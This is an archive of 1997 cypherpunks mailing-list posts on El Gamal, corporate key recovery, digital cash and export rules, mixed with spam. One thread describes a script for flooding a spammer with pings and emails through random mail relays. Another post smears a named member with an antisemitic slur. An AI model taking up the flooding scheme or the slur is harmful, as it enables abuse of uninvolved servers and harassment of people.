intended by the regulators.  If the cash is cheap enough, perhaps
it could be an economical carrier of encrypted messages.  What I have
in mind is somewhat analogous to papering your wall with dollar bills,
which clearly is uneconomical unless the dollar bills are really cheap.

What does it take to set up an offshore "remailer bank"?  Of course,
the digital cash it uses must be very INefficient, chock full of bit
bloat that hosts plenty of not-so-subliminal channels. 8-)

    Kevin Q. Brown
    kqb at planet.net






From harka at nycmetro.com  Thu May  8 17:39:58 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Fri, 9 May 1997 08:39:58 +0800
Subject: El Gamal
Message-ID: <199705090000.UAA02189@linux.nycmetro.com>



-----BEGIN PGP SIGNED MESSAGE-----

aba at dcs.ex.ac.uk wrote:

>PGP has been standardising on El Gamal which is not covered by RSA's
>patents, for precisely the reason that RSA Inc has a bad record as a
>litigious patent worker.  El Gamal is a variant of Diffie-Hellman, 
>and the patents on Diffie-Hellman are set to expire RSN (later this 
>year, Sept?)

How does El Gamal compare functionally and security-wise to RSA and 
who developed it?

>I think that the initial PGP products are using RSA, however I 
>understood PGP is moving to El Gamal, where RSA is due to be 
>relegated to a `for backwards compatibility only' feature. 

Is El Gamal used in the source for PGP 3.0?

Ciao

Harka 


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM3JpGjltEBIEF0MBAQFDfQf8CawUGU1ynDlmcmsloy7zsh5oQUhcxPSv
Luy17oVmbWVeCWpCbqqiWFoRh1+QzBBc8Yfbb2/2LOw1KFyIq5lQ8Ly64JPuVMgV
HUocUDnPE7Q18eVVXOfNyG6vg/s0PBRqREVrx1QWn37idPduMTg0TE/IHZqFVrso
3XdVroh41aX7qVnan2+nRnVCbrV9xMvNteWOUl/nADLHCAkoMl/eCcQVY/XSmFjc
SsUbNNgCDBJlZhAwAI/CBLM7CBVt4okZQkdKeLNWsrm1tG2yha7vl/2AI6k1Y70H
2g1zTrhqK7q/rqkNL6DKyam/NZ1FKXtO0BsTLsV6KqmI7SnGN4UZXw==
=f4Qu
-----END PGP SIGNATURE-----






From osborne at gateway.grumman.com  Thu May  8 18:19:20 1997
From: osborne at gateway.grumman.com (Rick Osborne)
Date: Fri, 9 May 1997 09:19:20 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970507142536.009a7e90@gateway.grumman.com>
Message-ID: <3.0.1.32.19970508203058.0099c100@gateway.grumman.com>


>First of all, Wallace is a great guy and anyone who interferes with his
>freedom of speech is scum on par with C2Net.

That's your opinion, and you certainly have a right to it.  I don't want to
start the spam war all over again, suffice it to say that it's not an
opinion I happen to agree with.

>Second, if you run a cgi script in this manner, the pings are still coming
>from the web server.  You want to ping from the client that the browser's on.

Which is why I suggested the email version as well.  The arp version has
the connotation of being "morally wrong". An email version, while more
processor and bandwidth intensive, is at least no worse than what Sanford
and his crew are already doing.

Like I said, it's more of a passive agressive thing.  If I were to come
across a page that said "Click here to spam some spammers" and that's all I
had to do, why wouldn't I take 2 seconds of my time to do it?  That's
certainly less time than it takes to go through the amount of spam in my
mail each day.

And who cares if the pings/emails are coming from my site?  For the email
version I just add a header that says something to the effect of "This
email was sent to you on behalf of someone at $REMOTE_HOST" and set the
Return-Path to .  At that point, how can you prove that it
was sent by your script or just by someone using your SMTPd?


_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"This is what we heroes call the denouement, that's French for when we
finish off the supervillains ... huh? ... huh? ...  Roof pig, most
unexpected."






From wombat at mcfeely.bsfs.org  Thu May  8 18:22:28 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Fri, 9 May 1997 09:22:28 +0800
Subject: Business needs over citizen rights
In-Reply-To: 
Message-ID: 




On Thu, 8 May 1997, Tim May wrote:

> It's interesting that in the various recent developments over crypto, the
> needs of business are taking priority over the basic rights of citizens. In
> fact, the debate is being driven by issues of "competitiveness."

Um, what's so interesting about this? That's the way it has always been.

> What these trends add up to is an almost complete disregard for basic,
> fundamental issues of civil liberties and freedom in favor of various
> craftings of laws to advantage some American companies, disadvantage other
> American companies, and manipulate the international competitive scene.

Which social class was primarily responsible for the American war of
Independance? Wasn't the American civil war fought over tarrifs, rather
than slavery? Wasn't Viet Nam one big economic undertaking? 

Tim! Find your shoes and get out once in a while. :)

-r.w.
Are you better of now than you were four years ago? Re-elect the Illuminati!






From jya at pipeline.com  Thu May  8 18:26:48 1997
From: jya at pipeline.com (John Young)
Date: Fri, 9 May 1997 09:26:48 +0800
Subject: Mega Death
Message-ID: <1.5.4.32.19970509001538.008de4a4@pop.pipeline.com>


White House press briefing May 8:

             Q    Mike, Attorney General Reno today confirmed 
that the Justice Department is investigating the possibility of a 
high-level Israeli spy in the U.S. government.  How is it going 
to impact relations with Israel at this point?

             MR. MCCURRY:  No comment on that subject. 






From nobody at huge.cajones.com  Thu May  8 18:33:39 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 9 May 1997 09:33:39 +0800
Subject: [ADMIN] Stego in posts
Message-ID: <199705090019.RAA09654@fat.doobie.com>


>> In a message dated 97-05-05 20:54:49 EDT, you write:
>> 
>> <<
>>   Write a guys/girls name here_______________ or say aloud.  In 21 days he/she
>>  will show his/her love 4-U!! CAUTION!  Any guy/girl who breaks this chain
>> will have bad like w/ guy/girls 4-ever!!!!!!!!!!!
>>  Pass this on 10 times!!!!!!!!!!!!!!!!! >>









From kent at songbird.com  Thu May  8 19:40:29 1997
From: kent at songbird.com (Kent Crispin)
Date: Fri, 9 May 1997 10:40:29 +0800
Subject: key recovery vs data backup
In-Reply-To: <3.0.32.19970507215549.0074ceec@netcom13.netcom.com>
Message-ID: <19970508192011.29178@bywater.songbird.com>


On Wed, May 07, 1997 at 09:56:21PM -0700, Lucky Green wrote:
> At 11:47 PM 5/7/97 -0400, Carl Ellison wrote:
> >I was saying that if Sam needs to read my encrypted file/mail, then I should 
> >list Sam as a crypto-recipient.  If Acme,Inc. needs to read my encrypted 
> >file/mail, then I should list Acme,Inc. as a crypto-recipient.
> >
> >There's no safe of keys.  It's even simpler to explain to an executive.
> 
> Several people on this list asked me to elaborate on my claim that KR is
> not required. I doubt that I could put it more succinctly than Carl has in
> his post.

Unfortunately, it doesn't solve the problem at all.  In fact it
doesn't even address the problem.  So much so that reading these
replies makes me think that I am looking at different problem than
you. 

So perhaps backing up to discuss the problem a bit would be helpful. 
I hope you will forgive me if this is old ground.  

The problem is key management for an organization.  

The keys are used to protect and authenticate data owned, not by any
individual, but by an organization.  Keys are generated for the
organization's purposes, not the purposes of any individual. 
Furthermore, the individual privacy of an individual who works for an
organization is not a necessary priority for the organization. 

Organizations are composed of many individuals, some of which may not
share the goals of the organization, or who may indeed be inimical to
the organization.  And the members of an organization may vary widely
in competence, personal responsibility, and so on.  Thus, the members
of an organization cannot be trusted to do the "right thing".  [I am
using "organization" in a loose sense, so that we can consider a
business an organization, and an employee as a member of that
organization.]

In fact, in most cases, only a small fraction of the members of an
organization care more about the welfare of the organization than
about their personal welfare.  So people will almost always be more
concerned about their own personal data security than they will for
that of an organization.  This, coupled with difficulties of
coordination and control, and the above conditions, means that in a
global sense information security for an organization will always be
difficult, regardless of the security of the crypto they use. 

For a moment consider the analogy with physical keys.  Consider the
key management problem of a moderate sized corporation that occupies a
large office building.  There are office keys, storeroom keys, supply
room keys, conference room keys, bathroom keys, keys to filing
cabinets -- there are *lots* of keys, lots of different delegations of
authority involved.  In many cases there is a "key czar", a "building
coordinator" that hands out keys, and gets them back when someone
changes offices or jobs.  It *has* to be this way -- you can't rekey
the entire building when a janitor quites.  So, occasionally it is
necessary to rekey a lock, but typically keys are just reused.  Many
office keys are designed to be difficult to casually duplicate, for 
this reason.

Of course any key *can* be duplicated, but that's not really that
important -- the building is full of employees during the day, and 
the night watchman checks each person that enters after normal 
hours.  

All these physical keys all fit locks that can be broken quite easily
-- there is essentially *no* possibility of something valuable being
lost behind a lock that cannot be broken.  This is vastly different
from cryptographic keys -- for all systems of interest, encryption
represents locks that cannot be broken.  Data behind a lost 
cryptographic key is gone forever.  You can't call a locksmith or a 
safe cracker.  It's really just gone.

With this background, perhaps now you can see why I say that Carl's 
solution doesn't even address the problem.  The problem is management 
of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?  
What part of the organization that is Acme Corp is authorized to know 
this particular bit of information?  Because some of the employees 
are idiots you want this built automatically into the application 
they are using for encryption/email/whatever.  How does this software 
know what policy is appropriate for which employee?  How is that 
policy distributed?  What is the interface that allows a policy to be 
defined?   How do you protect the policy definition from subversion?

Contrast that with a key-safe model, where a copy of every encryption
key is kept in a secure database.  The encryption client software only
talks to the key-safe when a new key is generated, over a
cryptographically secure channel, of course.  There is no policy the
client has to know.  The user encrypts freely without concern about
who else should get copies.  The organization knows that there is very
little chance of data loss because of lost keys, and can use any
policy it chooses to recover keys, from the company president's ad hoc
whim to a carefully specified organization al security policy. 

Access to the key-safe is critical, of course, but it can be made 
very secure -- a special-purpose piece of hardware that requires 
passwords from n out of m key czars before access is granted, for 
example.  Or the contents of the key safe can be encrypted via keys 
escrowed through a secret sharing mechanism

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From tcmay at got.net  Thu May  8 19:45:20 1997
From: tcmay at got.net (Tim May)
Date: Fri, 9 May 1997 10:45:20 +0800
Subject: El Gamal
In-Reply-To: <199705090000.UAA02189@linux.nycmetro.com>
Message-ID: 


At 4:00 PM -0800 5/8/97, harka at nycmetro.com wrote:

>How does El Gamal compare functionally and security-wise to RSA and
>who developed it?

Yes, who did develop El Gamal?

Could it have been....El Gamal?


(Or was that a trick question?)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From rah at shipwright.com  Thu May  8 19:47:34 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 9 May 1997 10:47:34 +0800
Subject: Cryptography Short Course
Message-ID: 



--- begin forwarded text


Date: Thu, 8 May 1997 22:09:58 -0400 (EDT)
From: Christof Paar 
To: DCSB 
cc: Arlene Lowenstein 
Subject: Cryptography Short Course
MIME-Version: 1.0
Sender: bounce-dcsb at ai.mit.edu
Precedence: bulk
Reply-To: Christof Paar 


WPI's Continuing Education Program is offering a 5-day short course in
cryptography. I will be teaching the course from August 4-8, in Waltham.
Waltham is 10 miles West of Boston.

Please find below a detailed course description and a registration form.

If you have any question about course contents etc., please feel free to
contact me by email.

For questions regarding registration, contact Arlene Lowenstein at:
arlowenstein at jake.wpi.edu

Best regards,

Christof

*************************************************************************
Christof Paar                   http://ee.wpi.edu/People/faculty/cxp.html
Assistant Professor             email:  christof at ece.wpi.edu
Cryptography Group              phone:  (508) 831 5061
ECE Department, WPI             fax:    (508) 831 5491
100 Institute Road
Worcester, MA 01609, USA
*************************************************************************



-----------------------------------------------------------------------
           Worcester Polytechnic Institute
                 5-Day Short Course

        APPLIED CRYPTOGRAPHY AND DATA SECURITY

          Seminar Leader: Dr. Christof Paar


Many of today's information technology applications have data security
as a central system requirement. Applications such as wireless computer
networks, electronic commerce, and many www applications rely heavily
on a high degree of system security.

This five-day course will provide you with an in-depth introduction to
the field of applied cryptography. Virtually all important aspects of
public-key and private-key algorithms as well as protocols will be
introduced. The course keeps the theoretical background and technical
applications well-balanced. You will leave the course with a solid,
broad knowledge of state-of-the-arts cryptography. You will have skills
to carefully choose and design a security scheme for a given
application.

Background Note: The seminar is based on a highly successful course
which has been taught to more than 150 professionals in industry and
graduate students on campus.



                  COURSE OUTLINE

Day 1, AM - Introduction

Principles of cryptography. Classical algorithms. Attacks on
cryptographic systems.

Day 1, PM - Private-key algorithms

Stream ciphers. Pseudo-random generators. One-time pads.

Day 2, AM - Private-key algorithms

Data Encryption Standard (DES): Function, performance, implementation,
security. Overview on other modern block ciphers. Key length and
long-term security.

Day 2, PM - Usage of private key-algorithms

Operation modes of block ciphers. Multiple encryption. Key whitening.

Day 3, AM - Public-key cryptography

Introduction. One-way functions. Some number theory.

Day 3, PM - Public-key algorithms

RSA: Function, performance, implementation, security. Recent attacks.

Day 4, AM - Public-key algorithms

The generalized discrete logarithm problem. Diffie-Hellman key
exchange. ElGamal encryption. Elliptic curve cryptosystems.

Day 4, PM - Protocol building blocks

Digital Signatures. Hash Functions. Security Services: Privacy,
authentication, integrity, identification, non-repudiation.

Day 5, AM - Key distribution

Key distribution protocols. Principle of Kerberos. Certificates.
Trusted authorities.

Day 5, PM - Identification

Smart Cards. Principles of identification. Challenge-and-response
protocols. Course summary.


                  WHO SHOULD ATTEND

Engineers and other technical professional who develop, implement, or
assess information security applications in software or hardware.
Technical managers who need a solid understanding of data security
issues will also greatly benefit from the course.


                 ABOUT THE INSTRUCTOR

Dr. Christof Paar leads the Cryptography and Data Security group at WPI's
ECE Department. His research interests include security issues in wireless
and ATM networks, efficient algorithms for elliptic and hyperelliptic
curve systems, and hardware implementation of cryptosystems.


                 DATES AND LOCATIONS

August 4 - 8, 1997 in Waltham, MA (10 miles from Boston)


                  FEE

$1795 for first registration

$1625 for subsequent registrations


--------------------- print and cut here -----------------------------

           WPI CONTINUING EDUCATION REGISTRATION FORM

Please print out, complete, and return this form to

  Office of Continuing Education, WPI, Worcester, MA 01609-2280,
  call (508) 831-5517 or FAX this form to (508) 831-5694.

Make copies of this form for multiple registrations.


Title of Seminar: APPLIED CRYPTOGRAPHY AND DATA SECURITY

Date of Seminar: August 4-8, 1997, WPI Waltham Campus, Waltham, MA


Name (Mr.)(Ms.) ___________________________________________________

Title _____________________________________________________________

Organization ______________________________________________________

Business Address __________________________________________________

City _______________________________________

State ________ Zip _________________________

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-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From dlv at bwalk.dm.com  Thu May  8 19:50:28 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 9 May 1997 10:50:28 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970508203058.0099c100@gateway.grumman.com>
Message-ID: 


Rick Osborne  writes:

> >First of all, Wallace is a great guy and anyone who interferes with his
> >freedom of speech is scum on par with C2Net.
>
> That's your opinion, and you certainly have a right to it.  I don't want to
> start the spam war all over again, suffice it to say that it's not an
> opinion I happen to agree with.

You expose your own hypocricy. Wallace is free to spam. I'm free to
ignore his spam, which I do.

> Like I said, it's more of a passive agressive thing.  If I were to come
> across a page that said "Click here to spam some spammers" and that's all I
> had to do, why wouldn't I take 2 seconds of my time to do it?  That's

Can you think of a way to have it originate at the browser's machine, not
your machine? Perhaps an activex program for w95 :-)

> certainly less time than it takes to go through the amount of spam in my
> mail each day.

I suggest you learn to filter your e-mail.

> And who cares if the pings/emails are coming from my site?  For the email
> version I just add a header that says something to the effect of "This
> email was sent to you on behalf of someone at $REMOTE_HOST" and set the

You could also try an html form whose actions send mailto:your at enemy

> Return-Path to .  At that point, how can you prove that it
> was sent by your script or just by someone using your SMTPd?

He'll just filter out your site.  Wallace has some very smart
people working with him.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From tcmay at got.net  Thu May  8 19:54:10 1997
From: tcmay at got.net (Tim May)
Date: Fri, 9 May 1997 10:54:10 +0800
Subject: Stego Cash?
In-Reply-To: <199705082338.TAA24157@rho.pair.com>
Message-ID: 


At 3:38 PM -0800 5/8/97, kqb at planet.net wrote:
>Previous Subject: Re: Clinton Admin. to announce new Crypto regs
>
>Rick Smith  said:
>> These "new" regulations "to be issued" are scrambling to catch up with
>> previous and current practices. It doesn't change things at all.
>>   . . .
>> Export permission for strong crypto that only encrypts financial data is
>> clearly a variant of this tradition.
>
>This raises an intriguing possibility that I am sure is _not_
>intended by the regulators.  If the cash is cheap enough, perhaps
>it could be an economical carrier of encrypted messages.  What I have
>in mind is somewhat analogous to papering your wall with dollar bills,
>which clearly is uneconomical unless the dollar bills are really cheap.
>
>What does it take to set up an offshore "remailer bank"?  Of course,
>the digital cash it uses must be very INefficient, chock full of bit
>bloat that hosts plenty of not-so-subliminal channels. 8-)

You hit the nail on the head with your last line: subliminal channels.

Even financial software, ostensibly with no export controls, will still
have to be vetted for export, as any system usable for financial
cryptography is almost certainly usable for "other purposes."

I suppose that in past generations of "banking software" this was less
obviously the case, as SWIFT and whatever the systems were used DES and
variants. But as banking software moves to public key approaches, the
possibilities drastically multiply.

Wanna bet that if a Cypherpunk sets up a digital cash system using
extremely strong crypto that it won't be an easy matter to get export
approval, no matter what the new rules supposedly are?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From dlv at bwalk.dm.com  Thu May  8 19:57:51 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 9 May 1997 10:57:51 +0800
Subject: El Gamal
In-Reply-To: 
Message-ID: 


Tim May  writes:

> >How does El Gamal compare functionally and security-wise to RSA and
> >who developed it?
>
> Yes, who did develop El Gamal?
>
> Could it have been....El Gamal?

What's El Gamal up to these days? I heard he used to work for Okidata
as a low-level manager and had to leave when both of his subordinates
resigned at the same time. :-) Is that true?

Why won't Sameer "Gas the Kikes" Parekh hire his fellow Arab?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From ichudov at algebra.com  Thu May  8 19:59:27 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Fri, 9 May 1997 10:59:27 +0800
Subject: Banking Secrecy and Nazi Gold
In-Reply-To: <2yae7D2w165w@bwalk.dm.com>
Message-ID: <199705090234.VAA23571@manifold.algebra.com>


Dr.Dimitri Vulis KOTM wrote:
> > "18. In general, possession constitutes the criterion of title of 
> > personal property, because no other means exist by which a knowledge of the 
> > fact to whom it belongs can be attained. A seller of a chattel is not, 
> > therefore, required to show the origin of his title, nor, in general, is a 
> > purchaser, without notice of the claim of the owner, compellable to make 
> > restitution; but, it seems, that a purchaser from a tenant for life of 
> > personal chattels, will not be secure against the claims of those entitled 
> > in remainder. Cowp. 432; 1 Bro. C. C. 274; 2 T. R. 376; 3 Atk. 44; 3 V. & B. 
> > 16."
> > 
> 
> My problem with Igor's model is that has a "gubmint" that can decide that
> although you possess something, you don't have a title to it.

Seems like it is a matter of value judgment.

To stretch your values a bit, suppose that someone steals your car
and I buy it. Suppose also that I have bodyguards so that you would 
not be able to use force to take it back.

Would you be content if you could not (if the system worked according to
your values) sue to get the car back?

> I don't think the cost of having a "gubmint" justifies the convenience(?)
> of having one's stolen property recovered.
> 
> I point Igor's attention to the two categories of real estate ownership in
> traditional Russian legal framework (probably borrowed from Poland and
> Germany...) - the kind that cannot be taken away by the state for any
> reasn (even as punishment for treason), and the kind that can be taken
> away, e.g., for non-paymet of taxes.

This is confiscation of property, ie, something that the owner has a title
to. A stolen car is not a property (as far as i understand it).

	- Igor.






From mnorton at cavern.uark.edu  Thu May  8 20:07:50 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Fri, 9 May 1997 11:07:50 +0800
Subject: El Gamal
In-Reply-To: 
Message-ID: 



On Thu, 8 May 1997, Tim May wrote:

> 
> (Or was that a trick question?)

Or was *that* a trick question?  
Am I startin' to catch on to this crypto stuff?:)
MacN






From osborne at gateway.grumman.com  Thu May  8 20:13:27 1997
From: osborne at gateway.grumman.com (Rick Osborne)
Date: Fri, 9 May 1997 11:13:27 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970508203058.0099c100@gateway.grumman.com>
Message-ID: <3.0.1.32.19970508230144.00947a40@gateway.grumman.com>


Dimitri Vulis wrote:
>Perhaps an activex program for w95 :-)

If I hadn't sworn to take my own life before I touched ActiveX, then I
might have considered that course of action.  :)  Instead, I'll leave it as
an exercise for the reader.

>I suggest you learn to filter your e-mail.

Actually, this account has adequate filters.  Unfortunately, my employer
chooses to use Exchange for mail, which has less than astonishing filtering
capability.  But I appreciate the inference as to my (lack of)
intelligence.  ;)

>You could also try an html form whose actions send mailto:your at enemy

Wouldn't work with all browsers, and can't get more than one at a time.

>He'll just filter out your site.

Which is why I originally suggested bypassing the normal sendmail route and
using straight sockets.  If he blocks my script from connecting directly to
his smtpd then I use a random smtpd somewhere as a go-between, routing it
to his smtpd.  He can't (won't) block them all.  Also, this is why I
recommended making the script small and portable: *anyone* could put it up
on their site.  He can't block everyone.

_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
A system without PERL is like a hockey game without a fight.






From stephen at iu.net  Fri May  9 12:05:50 1997
From: stephen at iu.net (Stephen Cobb, CISSP)
Date: Fri, 9 May 1997 12:05:50 -0700 (PDT)
Subject: e$: In Vino Veritas
Message-ID: <3.0.32.19970509145640.0077c0b8@iu.net>


Robert

Thanks so much for a truly enjoyable and thought-provoking piece of
writing. It gladdens my heart to know that there are still people out there
who know what happened to the Romantics!

But you do have to be careful about typing behavior with age. I live in
Florida and yes, we have a lot of old folks, but a sadly significant number
of the moralists are in their 20s and 30s. 

In Brevard County where I live (and shuttles are launched) they have banned
nude sunbathing, even on Federal property (also thong bikinis and male swim
wear that "permits discernible turgidity" -- by this standard most of the
Olympic finalists in the men's 100 meters would have been breaking the law
if Brevard County had been hosting). 

Much of the ban-the-nudist lobbying was done people well under 40. There
was a great moment at the televised County meeting when a frail old man
made his way to the podium and we all braced for another "skin is sin"
speech. But this is what he said "I'm a nudist and believe me, you have no
idea who else is."

So, it is not age that makes folks stupid. My mother took me on a
ban-the-bomb march when I was 6. I helped disrupt a tour by the all-white
South African rugby team when I was 17. But in the town were I grew up we
had both hippies and Nazi-loving, Paki-bashing skinheads (I use the term
Paki-bashing only because that is what people called it).

We also had Young Conservatives, aging beatniks, and leftists who were so
far left they actually admired Stalin (they were so screwed up that,
despite being atheists, they protested the British government's decision to
deny a priest, jailed for helping the IRA blow up parts of Coventry,
conduct mass in prison).

Me, I'm 45 and hope I will be my own kind of libertarian until I die. My
mother is in her 70s and still working for the cause of freedom and
dignity. My brother quit banking to write security software, some of which
is causing brains to hurt at the UK's DTI. 

But getting back to prohibition, do the words "when will they ever learn?"
strike a chord? It is so damn obvious that prohibition=organized crime I
can't believe it isn't genetic already, like not eating things that smell
rotten. But I digress. A book worth reading on the subject, if only for the
examples and footnotes, is "Ain't Nobody's Business If You Do: The
Absurdity of Consensual Crimes in a Free Society" by Peter McWilliams Now
available in paperback, published by Prelude Press. 

Personally, I look forward to reading more of your postings.

Stephen

	Certified Information Systems Security Professional
	Owner, Cobb Associates: "An independent information
	technology & security consulting firm...since 1987"
	"The best weapon with which to defend information..
	..is information." Cobb, Guide to PC & LAN Security
	2825 Garden, Suite 7-11, Titusville, Florida  32796
	Tel: 1 407 383 0977 Fax: 0336 Email: stephen at iu.net
	Try http://www.2cobbs.com & http://www.cobweb.co.uk





From m2c at ucs.net  Fri May  9 12:09:40 1997
From: m2c at ucs.net (M2C)
Date: Fri, 9 May 1997 12:09:40 -0700 (PDT)
Subject: Free Job Posting At The New US Resume
Message-ID: <2.2.32.19970509190529.0068a524@ucs.net>


Dear Associate:

We are sending you this message because you are on file as having requested
Job/Resume related information in the past.

------------------------
NOTE: As we all know, the issue of EMAIL is sensitive at best.  If we have
made a mistake by sending you this, or if you are offended in any way,
please reply to this message with the word "REMOVE" in the Subject Field of
your message, and list the email addresses you want removed in the body of
your message, and we will make sure you do not receive any future email from
us.  We take this issue very seriously, and want to make sure not to send
email to anyone who does not want it.  If for some reason you once requested
to be removed from our list, and are still receiving email, please reply to
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If you have any questions, please feel free to give us a call.


Thank You
Market 2000 Corp.(M2C)/US Resume
914-398-0911






From nobody at faust.guardian.co.uk  Fri May  9 12:12:57 1997
From: nobody at faust.guardian.co.uk (Shift Control)
Date: Fri, 9 May 1997 12:12:57 -0700 (PDT)
Subject: We want to kiss you, NOW
Message-ID: <199705090700.IAA18388@faust.guardian.co.uk>


A is for Aardvark
B is for Bite
C is for the Cure
D is for Dribble
E is for Eurovision
F is for Frog
G is for Glasgow kiss
H is for Halitosis
I is for Implants
J is for Judas
K is for Kiss 'n' tell
L is for Lips
M is for Mistletoe
N is for Necking
O is for Osculation
P is for Pucker
Q is for the Queen
R is for Radio stations
S is for Snog
T is for Tongue
U is for Ulcer
V is for Vampires 
W is for Wet
X is for X
Z is for Zit

Shift Control is for kissing, in all its colours
Shift Control is ready and waiting with a purse for you
Shift Control is at www.shiftcontrol.com

__________________________________________

Shift Control is produced by the Guardian's New Media Lab with help from 
Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to 
shiftcontrol-request at nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe







From rcgraves at disposable.com  Fri May  9 00:04:28 1997
From: rcgraves at disposable.com (Rich Graves)
Date: Fri, 9 May 1997 15:04:28 +0800
Subject: Banking Secrecy and Nazi Gold
Message-ID: <3372C87B.4863@disposable.com>


-----BEGIN PGP SIGNED MESSAGE-----

According to the archives, Tim May wrote:

> I suspect the U.S. pressure on Swiss banks has a political dimension
> related to forcing a New World Order on international banking. The
> U.S. wants banking secrecy subject to U.S. control (so that banks
> like Castle Bank, Nugan Hand Bank, Banco Ambrosiano, BCCI, and the
> Bank of America can continue to be used for U.S. interests, and
> only U.S. interests).

I think this is the first time I've ever said this about Tim, whom
I usually read first, but "That's nuts."

The political game is simple: The Wiesenthal Center and the World
Jewish Congress are in a pissing contest to see who can recover
the most cash. (There are two different class action lawsuits
going, one from each organization.) Senator Alphonse "I Love to
Make Noise" D'Amato is pandering. Some former members of the
intelligence community are involved, but that shouldn't be
surprising given the fact that they grew up as Nazi hunters.

In general I agree with Tim's argument and the mean (if not all the
details) of the followups, but I'd like to restress a few things:

1) The reason Jews used Swiss banks is precisely that they were
   secret, fercryingoutloud.

2) Sure, some banks took advantage of the power disparity (even if
   the victims had little guarantee that they'd be able to recover
   their assets, if they didn't squirrel them away soon they'd be
   sure to go to the Nazis). That makes them scum. But screwing
   with bank secrecy ain't the way to fix that Reputation Problem.

3) The reason governments and not just banks & individuals are
   involved is that some unclaimed deposits went to the government,
   which sent them off to Eastern Europe.

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQBVAwUBM3LIZpNcNyVVy0jxAQERfgIAiaOqRZrwRxyNWqRUo0ypLT4WDzawsdvB
VxiYN3E/nw5k9ZL7AUQQes2AJHS3tDaN086rflJ0GHUwg4TFA8Vsng==
=shYb
-----END PGP SIGNATURE-----






From MOBILE.CONNECTION at texoma.net  Fri May  9 16:04:08 1997
From: MOBILE.CONNECTION at texoma.net (MOBILE.CONNECTION at texoma.net)
Date: Fri, 9 May 1997 16:04:08 -0700 (PDT)
Subject: FREE REFERRAL SERVICE
Message-ID: <199705092302.SAA26162@mail.texoma.net>



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From aba at dcs.ex.ac.uk  Fri May  9 02:59:14 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 9 May 1997 17:59:14 +0800
Subject: El Gamal
In-Reply-To: <199705090000.UAA02189@linux.nycmetro.com>
Message-ID: <199705090726.IAA00747@server.test.net>



Harka  writes:
> Adam Back  wrote:
> >PGP has been standardising on El Gamal which is not covered by RSA's
> >patents, for precisely the reason that RSA Inc has a bad record as a
> >litigious patent worker.  El Gamal is a variant of Diffie-Hellman, 
> >and the patents on Diffie-Hellman are set to expire RSN (later this 
> >year, Sept?)
> 
> How does El Gamal compare functionally and security-wise to RSA and 
> who developed it?

Functionally: it provides both a digital signature method and an
assymetric encryption method.  They are not self-inverses as in RSA
(in RSA encrypt with secret key = signature, encrypt with public key =
assymetric encrypt; with El Gamal encrypt and sign are different
operations).  

Security: EG is based on the discrete log problem (being a variant of
Diffie-Hellman) where as RSA is based on the factoring problem.
Discrete log has about the same security for the same size keys.  El
Gamal encrypted blocks and signatures are twice the size as RSA
blocks, there is a 2x expansion.

If you don't mine a common prime modulus with EG, key generation
is fast (just generate a random number), RSA key generation is _slow_.

There is no separate patent on EG.  The D-H patent, which the patent
holders may argue covers EG, expires as I said RSN so the attraction
of EG is that it will then be unencumbered by patents.

El Gamal was developed by Taher El Gamal.

I don't see the advantage of EG encryption, D-H achieves the same
thing with the same security and it doesn't have message expansion.
There is a difference, with D-H you can't choose the session key
directly, it is negotiated and depends on the encryptors choice of
negotiation parameter and the recipients secret key.  However most
uses of public key encryption are only interested in exchanging or
negotating a symmetric key anyway, so D-H seems practical for this
purpose.  Is there any speed advantage with EG encryption?
 
EG signatures and D-H encryption?  You can share the prime modulus
public key parameter.

> >I think that the initial PGP products are using RSA, however I 
> >understood PGP is moving to El Gamal, where RSA is due to be 
> >relegated to a `for backwards compatibility only' feature. 
> 
> Is El Gamal used in the source for PGP 3.0?

I don't know, no one's exported the source to pgp3.0 in electronic
form, and I haven't seen the books either.  

